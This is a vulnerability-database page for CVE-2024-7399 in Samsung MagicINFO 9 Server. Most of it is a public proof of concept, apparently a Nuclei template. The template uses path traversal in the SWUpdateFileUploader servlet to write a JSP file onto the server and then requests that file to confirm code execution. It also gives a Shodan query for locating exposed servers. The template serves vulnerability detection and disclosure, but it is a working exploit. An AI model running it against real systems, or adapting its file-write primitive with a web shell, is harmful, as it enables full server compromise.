CVE-2024-7399: Samsung MagicINFO 9 Server 21.1050.0 - Remote Code Execution

2025-08-01 Samsung MagicINFO 9 Server PoC Public

Description

Improper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server version before 21.1050 allows attackers to write arbitrary file as system authority.

PoC

id: CVE-2024-7399

info:
  name: Samsung MagicINFO 9 Server 21.1050.0 - Remote Code Execution
  author: iamnoooob,pdresearch
  severity: high
  description: |
    Improper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server version before 21.1050 allows attackers to write arbitrary file as system authority.
  impact: |
    Authenticated attackers can exploit path traversal to write arbitrary JSP files with system privileges, achieving remote code execution and complete server compromise.
  remediation: |
    Update Samsung MagicINFO 9 Server to version 21.1050 or later to address the path traversal and arbitrary file write vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7399
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2024-7399
    cwe-id: CWE-22
    epss-score: 0.91941
    epss-percentile: 0.99813
    cpe: cpe:2.3:a:samsung:magicinfo_9_server:*:*:*:*:*:*:*:*
  metadata:
    vendor: samsung
    product: magicinfo_9_server
    verified: true
    max-request: 1
    shodan-query: 'Server: MagicInfo Premium Server'
  tags: cve,cve2024,rce,magicinfo,samsung,file-upload,intrusive,vkev,vuln,kev

flow: http(1) && http(2)

variables:
  filename: "{{randbase(6)}}"
  input: "{{randstr}}"

http:
  - raw:
      - |
        POST /MagicInfo/servlet/SWUpdateFileUploader?fileName=./../../../../../../server/{{filename}}.jsp&deviceType=abc&deviceModelName=test&swVer=123 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain

        <%@ page import="java.util.Base64" %>
        <%
        String base64Input = request.getParameter("input");
        if (base64Input != null) {
            byte[] decodedBytes = Base64.getDecoder().decode(base64Input);
            out.print(new String(decodedBytes));
        }
        %>

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        GET /MagicInfo/{{filename}}.jsp?input={{urlencode(base64(input))}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{input}}'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100829996551ea985224dfbbb7d64791d7d8bcdadd48c39e02eea81209878f08fee02201e95f19f9658e26dc43a6a7afcd4a74e2760d94c0e00a7d6de27065d40d58b77:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities